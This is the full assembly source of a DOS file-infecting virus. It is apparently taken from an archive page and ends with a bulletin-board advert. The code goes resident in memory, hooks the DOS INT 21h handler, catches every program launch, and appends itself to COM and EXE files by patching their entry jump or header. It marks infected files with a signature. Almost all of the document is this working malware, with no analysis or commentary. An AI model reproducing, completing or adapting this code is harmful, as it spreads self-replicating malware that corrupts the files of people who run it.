home *** CD-ROM | disk | FTP | other *** search
- virus segment public 'code'
- assume cs:virus,ds:virus,es:virus
- org 0
-
- VirusSize equ VirusEnd-$
-
- Com: call Begin
- call Label2
-
- PartPage equ this word+02h
- PageCount equ this word+04h
- HdrSize equ this word+08h
- MinMem equ this word+0ah
- MaxMem equ this word+0ch
- ExeSS equ this word+0eh
- ExeSP equ this word+10h
- ExeSignature equ this word+12h
- ExeStart equ this dword+14h
- ExeIP equ this word+14h
- ExeCS equ this word+16h
-
- SavedCode:
- mov ax,4c00h
- int 21h
-
- org SavedCode+18h
-
- Label2: pop si
- mov di,100h
- push di
- movsw
- movsw
- movsb
- ret
-
- Exe: call Begin
- mov dx,ds
- add dx,10h
- add cs:ExeCS,dx
- add dx,cs:ExeSS
- mov ss,dx
- mov sp,cs:ExeSP
- jmp cs:ExeStart
-
- Begin: push ds
- push es
- push ax
- xor ax,ax
- mov ds,ax
- mov ds,ds:[46ah]
- cmp Signature,0ACDCh
- je Exit
- mov ah,4ah
- mov bx,-1
- int 21h
- sub bx,(VirusSize+1fh)/10h+1000h
- jb Exit
- add bh,10h
- mov ah,4ah
- int 21h
- mov ah,48h
- mov bx,(VirusSize+0fh)/10h
- int 21h
- jb Exit
- dec ax
- mov es,ax
- inc ax
- mov es:[1],ax
- mov es,ax
- push cs
- pop ds
- call Label1
- Label1: pop si
- sub si,offset Label1
- xor di,di
- push di
- mov cx,VirusSize
- rep movsb
- pop ds
- mov ax,ds:[84h]
- mov word ptr es:OldInt21[0],ax
- mov ax,ds:[86h]
- mov word ptr es:OldInt21[2],ax
- mov byte ptr ds:[467h],0eah
- mov word ptr ds:[468h],offset NewInt21
- mov ds:[46ah],es
- mov word ptr ds:[84h],7
- mov word ptr ds:[86h],46h
- Exit: pop ax
- pop ds
- pop es
- ret
-
- Header db 0e9h
- dw 0
- Signature dw 0ACDCh
-
- NewInt21:
- cmp ah,4bh
- je Exec
- jmp short EOI
- Exec: push ax
- push bx
- push cx
- push dx
- push ds
- mov ax,3d02h
- call Interrupt
- jc short Error
- push cs
- pop ds
- mov bx,ax
- mov ah,3fh
- mov cx,18h
- mov dx,offset SavedCode
- call DOS
- cmp word ptr cs:SavedCode,5a4dh
- je ExeFile
- ComFile:cmp word ptr cs:SavedCode[3],0ACDCh
- je short Close
- mov al,02h
- call Seek
- or dx,dx
- ; jmp short Close
- cmp ah,0f6h
- je short Close
- sub ax,5
- ; jmp short Close
- inc ax
- inc ax
- mov word ptr ds:Header[1],ax
- mov ah,40h
- mov cx,VirusSize
- xor dx,dx
- call DOS
- mov al,00h
- call Seek
- mov ah,40h
- mov cx,5
- mov dx,offset Header
- call Interrupt
- Close: mov ah,3eh
- call Interrupt
- Error: pop ds
- pop dx
- pop cx
- pop bx
- pop ax
-
- EOI: db 0eah ; jmp 0:0
- OldInt21 dd 026b1465h
-
- ExeFile:cmp ExeSignature,0ACDCh
- je short Close
- mov al,02h
- call Seek
- add ax,0fh
- adc dx,0
- and al,0f0h
- xchg ax,dx
- mov cx,ax
- mov ax,4200h
- call DOS
- mov cx,10h
- div cx
- or dx,dx
- jne Close
- mov dx,ax
- sub dx,HdrSize
- push dx
- mov cx,10h
- mul cx
- add ax,VirusSize
- adc dx,0
- mov cx,200h
- div cx
- inc ax
- push ax
- push dx
- mov ah,40h
- mov cx,VirusSize
- xor dx,dx
- call Interrupt
- pop PartPage
- pop PageCount
- pop ax
- jc Close
- mov ExeCS,ax
- mov ExeIP,offset Exe
- add ax,(VirusSize+0fh)/10h
- mov ExeSS,ax
- mov ExeSP,200h
- cmp MinMem,20h
- jae Mem1
- mov MinMem,20h
- Mem1: cmp MaxMem,20h
- jae Mem2
- mov MaxMem,20h
- Mem2: mov al,00
- call Seek
- mov ah,40h
- mov cx,18h
- mov dx,offset SavedCode
- call Interrupt
- jmp Close
-
- Seek: mov ah,42h
- xor cx,cx
- xor dx,dx
-
- DOS: call Interrupt
- jnc Ok
- pop ax
- jmp Close
-
- Interrupt:
- pushf
- call cs:OldInt21
- Ok: ret
-
- VirusEnd equ $
-
- virus ends
-
- end
-
- ; ─────────────────────────────────────────────────────────────────────────
- ; ────────────────────> and Remember Don't Forget to Call <────────────────
- ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
- ; ─────────────────────────────────────────────────────────────────────────
-